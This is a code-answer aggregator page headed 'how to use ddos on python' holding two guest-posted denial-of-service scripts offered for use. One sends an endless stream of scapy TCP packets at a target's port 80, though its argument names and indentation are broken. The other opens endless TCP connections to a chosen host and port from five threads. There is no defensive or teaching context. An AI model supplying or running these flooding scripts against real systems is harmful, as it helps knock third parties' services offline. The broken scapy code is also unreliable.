Answers for "how to use ddos on python"

3

python ddos script

from scapy.all import *
source_IP = input("Enter IP address of Source: ")
target_IP = input("Enter IP address of Target: ")
source_port = int(input("Enter Source Port Number:"))
i = 1

while True:
   IP1 = IP(source_IP = source_IP, destination = target_IP)
   TCP1 = TCP(srcport = source_port, dstport = 80)
   pkt = IP1 / TCP1
   send(pkt, inter = .001)
   
   print ("packet sent ", i)
      i = i + 1
Posted by: Guest on March-06-2021
0

ddos python

#!/usr/bin/python3
import os
import socket
import sys
import threading
os.system("cls")
host = input("\nEnter host: ")
port = int(input("\nEnter port: "))
print("\n")
def run(h):
    while True:
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.connect((host,port))
        print("Packet send to " + host)
for i in range(5):
    t = threading.Thread(target=run, args=[i])
    t.start()
Posted by: Guest on August-01-2021

Python Answers by Framework

Browse Popular Code Answers by Language